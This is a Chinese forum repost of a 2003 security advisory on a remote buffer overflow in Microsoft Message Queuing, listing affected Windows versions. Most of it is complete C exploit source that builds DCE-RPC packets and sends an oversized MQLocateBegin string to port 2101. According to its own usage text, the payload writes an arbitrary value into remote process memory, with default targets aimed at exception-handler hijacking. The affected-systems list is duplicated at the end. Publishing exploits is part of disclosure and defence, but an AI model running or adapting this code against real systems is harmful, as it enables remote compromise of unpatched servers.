- 注册
- 2002-10-12
- 消息
- 47,114
- 荣誉分数
- 2,376
- 声望点数
- 393
消息来源:[XFOCUS小组]http://www.xfocus.net/vuls/200310/3973.html
严重程度:高
威胁程度:远程管理员权限
错误类型:环境错误
利用方式:服务器模式
BUGTRAQ ID:http://www.securityfocus.com/bid/8783
受影响系统
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
Microsoft Windows 95 SR2
Microsoft Windows 95
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Enterprise Server 4.0 SP6
Microsoft Windows NT Enterprise Server 4.0 SP5
Microsoft Windows NT Enterprise Server 4.0 SP4
Microsoft Windows NT Enterprise Server 4.0 SP3
Microsoft Windows NT Enterprise Server 4.0 SP2
Microsoft Windows NT Enterprise Server 4.0 SP1
Microsoft Windows NT Enterprise Server 4.0
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6
Microsoft Windows NT Server 4.0 SP5
Microsoft Windows NT Server 4.0 SP4
Microsoft Windows NT Server 4.0 SP3
Microsoft Windows NT Server 4.0 SP2
Microsoft Windows NT Server 4.0 SP1
Microsoft Windows NT Server 4.0
Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Terminal Server 4.0 SP5
Microsoft Windows NT Terminal Server 4.0 SP4
Microsoft Windows NT Terminal Server 4.0 SP3
Microsoft Windows NT Terminal Server 4.0 SP2
Microsoft Windows NT Terminal Server 4.0 SP1
Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT Workstation 4.0
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
详细描述
Microsoft消息队列服务存在缓冲区溢出问题。
Symantec DeepSight分析小组正在分析此漏洞代码,问题应该是对用户提交的search-by-name函数缺少充分处理。
测试代码
/*
A demonstration of the bug alluded to by Jim Allchin in his efforts to
explain how appallingly badly coded some of the work on Micro$oft's
enterprise-critical technologies truly is. See
http://www.eweek.com/article2/0,3959,5264,00.asp
for details.
<quote>
"The fact that I even mentioned the Message Queuing thing bothers me," he
said.
</quote>
Well, it shouldn't really. It only took half-an-hour's work to find this
bug;
multiply that by time wasted on perhaps experimenting with a dozen or so
of
the other M$ apis and you'll see that even without the hint, it wouldn't
have
been hard to find; and of course, many of those other apis have their own
problems. Not disclosing it would have prevented absolutely nothing;
trying
to send a long string to a search-by-name function is just so completely
obvious that secrecy gets you nowhere. YOU CAN'T HIDE ANYTHING FROM AN
INQUIRING MIND WITH A PACKET SNIFFER.[*]
(K) All Rites Reversed - Anti-copyright DaveK Oct 2003
Use as you will. Everything is possible and nothing is real.
Please send improvements, bugfixes or ideas to
blah spam davek AT hahaparse this
nospambots redneck dot gacracker dot org you harvesters
[*] - This offer void where prohibited by law, or strong crypto.
*/
#include <Winsock2.h>
#include <stdio.h>
#pragma comment (lib, "ws2_32.lib")
// Standard typedefs and structs from the Open Group's
// "Technical Standard DCE 1.1: Remote Procedure Call",
// [Document Number C706]
typedef unsigned char uchar;
typedef UUID uuid_t;
typedef unsigned short p_context_id_t;
typedef struct {
uuid_t if_uuid;
unsigned long if_version;
} p_syntax_id_t;
typedef struct {
p_context_id_t p_cont_id;
unsigned char n_transfer_syn; /* number of items */
unsigned char reserved; /* alignment pad, m.b.z. */
p_syntax_id_t abstract_syntax; /* transfer syntax list */
p_syntax_id_t transfer_syntaxes[1];
} p_cont_elem_t;
typedef struct {
unsigned char n_context_elem; /* number of items */
unsigned char reserved; /* alignment pad, m.b.z. */
u_short reserved2; /* alignment pad, m.b.z. */
p_cont_elem_t p_cont_elem[1];
} p_cont_list_t;
// Here's the connectionless rpc pdu header.
typedef struct {
unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB
only)*/
unsigned char ptype; /* Packet type (5 LSB only) */
unsigned char flags1; /* Packet flags */
unsigned char flags2; /* Packet flags */
char drep[3]; /* Data representation format label */
unsigned char serial_hi; /* High char of serial number */
uuid_t object; /* Object identifier */
uuid_t if_id; /* Interface identifier */
uuid_t act_id; /* Activity identifier */
unsigned long server_boot; /* Server boot time */
unsigned long if_vers; /* Interface version */
unsigned long seqnum; /* Sequence number */
unsigned short opnum; /* Operation number */
unsigned short ihint; /* Interface hint */
unsigned short ahint; /* Activity hint */
unsigned short len; /* Length of packet body */
unsigned short fragnum; /* Fragment number */
unsigned char auth_proto; /* Authentication protocol identifier*/
unsigned char serial_lo; /* Low char of serial number */
} dc_rpc_cl_pkt_hdr_t;
/* common header for all connection-oriented pdus */
typedef struct {
/* start 8-octet aligned */
/* common fields */
unsigned char rpc_vers; // = 5; /* 00:01 RPC version */
unsigned char rpc_vers_minor; /* 01:01 minor version */
unsigned char PTYPE; /* 02:01 PDU type */
unsigned char pfc_flags; /* 03:01 flags */
char packed_drep[4]; /* 04:04 NDR data rep format label*/
unsigned short frag_length; /* 08:02 total length of fragment */
unsigned short auth_length; /* 10:02 length of auth_value */
unsigned long call_id; /* 12:04 call identifier */
/* end common fields */
} rpcconn_common_hdr_t;
/* bind header (PTYPE = 11) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
unsigned short max_xmit_frag; /* 16:02 max transmit frag size, bytes
*/
unsigned short max_recv_frag; /* 18:02 max receive frag size, bytes
*/
unsigned long assoc_group_id; /* 20:04 incarnation of client-server
* assoc group */
/* presentation context list */
p_cont_list_t p_context_elem; /* 24:?? variable size */
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */
} rpcconn_bind_hdr_t;
/* request header (PTYPE = 0) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed on request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e. data
rep */
unsigned short opnum; /* 22:02 operation #
* within the interface */
/* optional field for request, only present if the PFC_OBJECT_UUID
* field is non-zero; specified in separate typedef below. */
/* uuid_t object; */ /* 24:16 object UID */
/* stub data, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_request_hdr_t;
/* request header (PTYPE = 0) with object field */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_request_hdr_t ob_req_hdr;
/* optional field for request, assumes that PFC_OBJECT_UUID
* field is non-zero */
uuid_t object; /* 24:16 object UID */
/* stub data, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_object_request_hdr_t;
/* response header (PTYPE = 2) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed for request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e.
* data rep */
/* needed for response or fault */
unsigned char cancel_count; /* 22:01 cancel count */
unsigned char reserved; /* 23:01 reserved, m.b.z. */
/* stub data here, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_response_hdr_t;
// This is the bind request that we send to get the MSMQ rpc interface up.
/*
Frame Number: '41'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '0b)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '72'
Auth Length: '0'
Call ID: '1'
Max Xmit Frag: '5840'
Max Recv Frag: '5840'
Assoc Group: '00000000 ; 0x000219bf'
Num Ctx Items: '1'
Context ID: '1'
Num Trans Items: '1'
Interface UUID: '77df7a80-f298-11d0-8358-00a024c480a8'
Interface Ver: '1'
Interface Ver Minor: '0'
Transfer Syntax: '8a885d04-1ceb-11c9-9fe8-08002b104860'
Syntax ver: '2'
*/
unsigned char
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header[] = {
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0x80,0x7a,0xdf,0x77,0x98,0xf2,0xd0,0x11,0x83,0x58,0x00,0xa0,0x24,0xc4,0x80,0xa8,
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};
// This request must be the first sent once we have bound the interface.
// There is no corresponding function in the MQ api in the SDK; but opnum 22
// returns a 16-byte handle/guid/similar that needs to be part of the actual
// MQLocateBegin request that we synthesize later, so I'd call it something
// like MQOpenMQISHandle. There's a corresponding close function, opnum 23,
// but we aren't going to bother with it.
/*
Frame Number: '47'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '00)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '68'
Auth Length: '0'
Call ID: '2'
Alloc hint: '44'
Context ID: '1'
Opnum: '22'
Stub data '44 bytes)'
[Inferred stub data offset $4e]
Appended 44 bytes of stub data from offset $004e
*/
unsigned char tcp_req_op_22_id_2_frame_47_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x2c,0x00,0x00,0x00,0x01,0x00,0x16,0x00
};
unsigned char tcp_req_op_22_id_2_frame_47_stubdata[] = {
0x51,0xcc,0xdb,0x57,0x38,0x1f,0x45,0x42,
0xb4,0xfc,0xc1,0x14,0xb3,0x3e,0x01,0xf7,0x00,0x00,0x00,0x00,0x2c,0xfc,0x11,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
};
// And here we go. This is opnum 6, MQLocateBegin. The stubdata was
derived
// from sniffing the wire while doing a series of MQLocateBegin/End
operations
// with a string that got longer by one unicode 'A' each time. The string
// length is checked locally by the MQLocateBegin function before sending,
but
// the mqsvc exe just assumes the data is valid because it assumes the
packet
// was checked by the remote end before sending. BIG mistake.....!
/*
Frame Number: '49'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '00)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '372'
Auth Length: '0'
Call ID: '3'
Alloc hint: '348'
Context ID: '1'
Opnum: '6'
Stub data '348 bytes)'
[Inferred stub data offset $4e]
Appended 348 bytes of stub data from offset $004e
*/
unsigned char tcp_req_op_6_id_3_frame_49_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x03,0x00,0x00,0x00,
0x5c,0x01,0x00,0x00,0x01,0x00,0x06,0x00
};
unsigned char tcp_req_op_6_id_3_frame_49_stubdata[] = {
0x00,0x00,0x00,0x00,0xf8,0xfe,0x12,0x00,
0x01,0x00,0x00,0x00,0x00,0xff,0x12,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x04,0x00,0x00,0x00,0x6c,0x00,0x00,0x00,0x1f,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x1f,0x00,0x06,0x09,0xf0,0xfe,0x11,0x00,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x79,0x00,0x00,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x02,0x00,0x00,0x00,0xe0,0xfe,0x11,0x00,
0x02,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x6d,0xae,0x0c,0x34,0xe5,0xd7,0x11,0xa6,0xf4,0x00,0x50,
0x8b,0xfb,0x13,0x17
};
// Ok, here are three generic helper routines that I use in a lot of my
code.
static inline const char * getfilenamepart (const char *ptr)
{
const char * fn;
fn = ptr;
while (*ptr)
{
if ((*ptr == '\\') || (*ptr == '/'))
fn = ptr + 1;
++ptr;
}
return fn;
}
static int parse_dotted_quad (const char *string, unsigned int *ipaddr,
unsigned short *port)
{
unsigned int a, b, c, d, p;
int n, len;
unsigned int ad;
unsigned short po;
a = b = c = d = p = len = 0;
// FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric
// parts as well, as per definition of inet_addr; alas that function is
// no use here because it fails if there is a "ort" suffix.
len = -1;
if (port)
n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len);
else
n = 0;
// despite what it says in the SDK docs sscanf does not return the
// number of fields scanned - only the number of conversions: %n is
// a field scanned but not a conversion and doesn't get counted!
if (n != 5)
{
n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len);
if (n != 4)
return 0;
}
// ok it looks valid, but in order not to be fooled by names like
// 1.2.3.4.domain (isp host rDNS often looks like this) we must be
// sure that the string end here with whitespace or eol or NUL
if (!string[len] || isspace ((unsigned char)string[len])
|| (string[len] == '\r') || (string[len] == 'n'))
{
// hoorah! return ipaddr and port! in host order!
ad = (a << 24) | (b << 16) | (c << 8) | d;
po = (unsigned short)(p & 0xffff);
if (ipaddr)
*ipaddr = ad;
if (port && (n == 5))
*port = po;
return len;
}
// failed
return 0;
}
static int parse_hostnameport (const char *string, unsigned int *ipaddr,
unsigned short *port, int resolve, int verbose, const char *banner)
{
int len;
unsigned int ad;
unsigned int po;
struct hostent FAR * FAR myhost;
char namepart[400];
// skip wspc be nice
while (isspace (*string))
++string;
// we must see if there is a ort attached to the string end!
len = 0;
while ((string[len] != ':') && (string[len]) && !isspace (string[len]))
{
namepart[len] = string[len];
++len;
}
if (string[len] == ':')
{
sscanf (&string[len+1], "%d", &po);
*port = po;
}
if (!resolve)
return len;
namepart[len] = 0;
myhost = gethostbyname (namepart);
if ((verbose >= 2) || ((verbose == 1) && !myhost))
fprintf (stderr, "%sget host ip for name %s %s", banner, namepart, myhost
? "succeeds" : "fails\n");
if (!myhost)
return 0;
// so we gotta return an ip address then!
memcpy (&ad, myhost->h_addr_list[0], sizeof (ad));
// but we are a parse routine so return in host order
ad = ntohl (ad);
*ipaddr = ad;
if (verbose >= 2)
fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff,
(ad >> 8) & 0xff, ad & 0xff);
return len;
}
// Reads a dce reply; either discards it if no rcvbuf is
// specified, or supplies the first min (rcvsz, frag_len) bytes
// in the buffer you pass in.
int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz)
{
char buffer[4096];
int amount, this_time, actual, rv;
rpcconn_common_hdr_t *hdr;
// Read the fixed size header
rv = recv (sock, buffer, sizeof *hdr, 0);
if (rv != sizeof *hdr)
return -1;
hdr = (rpcconn_common_hdr_t *)buffer;
amount = hdr->frag_length - sizeof *hdr;
// copy as much hdr as wanted into rcvbuf
if (rcvbuf && rcvsz)
{
this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz;
memcpy (rcvbuf, buffer, this_time);
rcvbuf += this_time;
rcvsz -= this_time;
}
while (amount)
{
this_time = (amount >= 4096) ? 4096 : amount;
actual = recv (sock, buffer, this_time, 0);
if (actual <= 0)
return -1;
amount -= actual;
// copy as much data as wanted into rcvbuf
if (rcvbuf && rcvsz)
{
this_time = (rcvsz >= actual) ? actual : rcvsz;
memcpy (rcvbuf, buffer, this_time);
rcvbuf += this_time;
rcvsz -= this_time;
}
}
return 0;
}
// Assembles a DCE frag from a header and some stubdata, and
// sends it in one swell foop.
int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat, int
stubdatsz, SOCKET sock)
{
static char *packetbuf = NULL;
static int packetbufsz = 0;
if (!hdr || !hdrsz)
return -1;
if (!stubdatsz || !stubdat)
return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 :
WSAGetLastError ();
// there are no stream markers in tcp so there is no strict need to send
as one
// packet, but it will look better in a netsniffer display if we do.. so
we do.
if (packetbufsz < (hdrsz + stubdatsz))
{
if (packetbuf)
free (packetbuf);
packetbuf = (char *) malloc (hdrsz + stubdatsz);
packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0;
if (!packetbuf)
return -1;
}
// assemble packet in buff
memcpy (packetbuf, hdr, hdrsz);
memcpy (packetbuf + hdrsz, stubdat, stubdatsz);
int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz +
stubdatsz) ? 0 : WSAGetLastError ();
//free (packetbuf);
return rv;
}
// Binds the MSMQ interface, opens a handle to the MQIS, then builds a
packet
// that represents a MQLocateBegin operation, passing a single MQRESTRICTION
// on the PROPID_Q_LABEL property that tests for PREQ against an over-sized
// unicode string. The columnset data specifies we want the
PROPID_Q_INSTANCE
// and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that
far.....
int test_overflow (int argc, const char **argv, int stringsize, DWORD
addr2write, DWORD val2write, SOCKET insocket)
{
const char *hostname = argv[1];
int rv, err;
unsigned int ipaddr;
unsigned short port;
SOCKET sendsock;
char replybuf[4096];
if (!hostname)
return -1;
err = 0;
port = 0;
// the parse functions return host byte order; we convert
// to network byte order for use in sockaddr structure
if (parse_dotted_quad (hostname, &ipaddr, &port))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, ""))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else
{
fprintf (stderr, "Can't resolve host! %s - %d", hostname, WSAGetLastError
());
return (-1);
}
if (insocket != INVALID_SOCKET)
sendsock = insocket;
else
sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sendsock == INVALID_SOCKET)
{
fprintf (stderr, "Can't create socket! %s - %d", hostname, WSAGetLastError
());
return (-1);
}
// default port:
if (!port)
port = htons (2101);
// and setup the dest addr structure...
struct sockaddr_in dest_addr;
dest_addr.sin_addr.S_un.S_addr = ipaddr;
dest_addr.sin_port = port;
dest_addr.sin_family = AF_INET;
memset (&dest_addr.sin_zero, 0, sizeof dest_addr.sin_zero);
// try the connect!
if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr))
{
rv = WSAGetLastError ();
if (insocket != INVALID_SOCKET)
closesocket (sendsock);
return rv;
}
// and send the generated packets to the target
rv = send_dce_packet
(tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
sizeof
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
NULL, 0, sendsock);
if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
if (!rv)
rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header,
sizeof tcp_req_op_22_id_2_frame_47_header,
tcp_req_op_22_id_2_frame_47_stubdata,
sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock);
// after the response pdu hdr comes 24 bytes reply stubdata:
// 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0
again.
if (!rv)
rv = read_dce_reply (sendsock, replybuf, 64);
if (!rv)
{
// The real question is how do we modify the data to send a longer
// string of L'A' as the search path?
// well, the main differences seem to be:
// There are two DWORD 0x00000079 that need to be changed to the new
string len:
// they are at offsets 0x30 and 0x38 in the string. store the new # of
A's
// there. Then append the string.
// The string length includes the terminating zero. So in the above
case,
// we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0
(nul-term).
// If the string len you chose was odd, add a short of padding as well
to
// align the result.
// Then append the next 0x1c bytes taken from offset 0x130 in the sample
packet
// finally append the 16 guid bytes you received earlier.
unsigned char *outbuf = NULL;
int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c;
outbuf = (unsigned char *) malloc (stubsize);
if (outbuf && !rv)
{
// Start assembling the stubdata for opnum 6.....
memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30);
// write the string max count, offset and actual count, as per NDR for
a
// conformant varying array of unicode chrs.
*(DWORD *)(outbuf + 0x30) = stringsize;
*(DWORD *)(outbuf + 0x34) = 0;
*(DWORD *)(outbuf + 0x38) = stringsize;
// Now assemble the string
short * unichrptr = (short *)(outbuf + 0x3c);
int n = stringsize - 1;
#if 0
while (n--)
*unichrptr++ = L'A';
#else
short unichr = 0x4101;
// lop off last 4 chrs for addr and val to write...
n -= 4;
// build remainder of overflow string
while (n--)
*unichrptr++ = unichr++;
// now the values to write
*unichrptr++ = (short)(val2write & 0xffff);
*unichrptr++ = (short)(val2write >> 16) & 0xffff;
*unichrptr++ = (short)(addr2write & 0xffff);
*unichrptr++ = (short)(addr2write >> 16) & 0xffff;
#endif
*unichrptr++ = L'\0';
// array may need padding to get everything 4-aligned again.
if (stringsize & 1)
*unichrptr++ = L'\0';
// Right. Append the remaining stub data from the opnum 6 call
unsigned char *chrptr = (unsigned char *)unichrptr;
memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c);
chrptr += 0x1c;
// and the mqis handle we received earlier
memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16);
chrptr += 16;
// also we must set the frag length
rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t
*)tcp_req_op_6_id_3_frame_49_header;
hdr->alloc_hint = stubsize;
hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr;
// We are good to go!
rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header,
sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf,
sendsock);
// This will fail if the overflow succeeded; if however the string
length we
// chose was too short, we'll get some kind of reply back and try
again with
// a longer string.
if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
free (outbuf);
}
else if (outbuf)
free (outbuf);
}
// all done with the socket now
if (insocket != INVALID_SOCKET)
closesocket (sendsock);
return 0;
}
int usage (int argc, const char **argv)
{
const char * fn = getfilenamepart (argv[0]);
fprintf (stderr, "\nUsage:\n\n %s host[ort] addr2write val2write
[strmin [strmax]]\n", fn);
fprintf (stderr, "\n");
fprintf (stderr, "Function:\n\n Writes an arbitrary DWORD value to an
arbitrary location in the process\n");
fprintf (stderr, "memory of the mqsvc.exe on the remote machine. Tested
on W2kASv/Sp2.\n");
fprintf (stderr, "Default values of strmin and strmax are 915, which works
for me. Not all\n");
fprintf (stderr, "values for addr2write/val2write seem to work, though;
there may be some\n");
fprintf (stderr, "filtering of the overflow string in some way.\n\n");
fprintf (stderr, " Note also that the default port used (2101) works
reliably for me, but as\n");
fprintf (stderr, "there is an internal MSMQ rpc api operation (opnum 27)
that returns this port\n");
fprintf (stderr, "number as a DWORD to the MQ client, it may be variable
on different systems.\n\n");
return -1;
}
int main (int argc, const char **argv)
{
WSADATA mywinsock;
int rv = 0;
WSAStartup (0xffff, &mywinsock);
if (argc >= 2)
{
int strsize, maxstr;
DWORD addr, val;
// hmm. as defaults, let's try and write an address of a jmp esi to an
exception handler
#define JMPESI0 0x780296bb
#define JMPESI1 0x7801ad1c
#define HANDLER1 0x024dffe0
#define HANDLER2 0x024df7f8
#define HANDLER3 0x024df018
// 0x024cffe0
#define DUMMY 0x66554433
// nefr. seems like it dont work with just any values.
// val is written first in string, addr second; seems not
// to be a good idea to have any 0x01/0x02 bytes. DUMMY
// passes fine as both addr and value.
//
// allchinbug testbed 0x77665544 0x8899aabb
//
if ((argc < 3) || (sscanf (argv[2], "%i", &addr) != 1))
addr = HANDLER1;
if ((argc < 4) || (sscanf (argv[3], "%i", &val) != 1))
val = DUMMY; // DUMMY; // JMPESI1;
if ((argc < 5) || (sscanf (argv[4], "%d", &strsize) != 1))
strsize = 915;
if ((argc < 6) || (sscanf (argv[5], "%d", &maxstr) != 1))
maxstr = 915;
while (!rv)
{
rv = test_overflow (argc, argv, strsize, addr, val, INVALID_SOCKET);
printf ("size %d ***rv %d***\n", strsize, rv);
strsize++;
if (strsize > maxstr)
break;
}
}
else
{
rv = usage (argc, argv);
}
// Exit gracefully.
WSACleanup ();
return rv;
}
解决方案
尚无
相关信息
Dave Korn <davek_throwaway@hotmail.com>.
参考:http://archives.neohapsis.com/archives/fulldisclosure/2003-q4/0326.html
相关主页:http://www.microsoft.com/windows2000/technologies/communications/msmq/default.asp
严重程度:高
威胁程度:远程管理员权限
错误类型:环境错误
利用方式:服务器模式
BUGTRAQ ID:http://www.securityfocus.com/bid/8783
受影响系统
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
Microsoft Windows 95 SR2
Microsoft Windows 95
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Enterprise Server 4.0 SP6
Microsoft Windows NT Enterprise Server 4.0 SP5
Microsoft Windows NT Enterprise Server 4.0 SP4
Microsoft Windows NT Enterprise Server 4.0 SP3
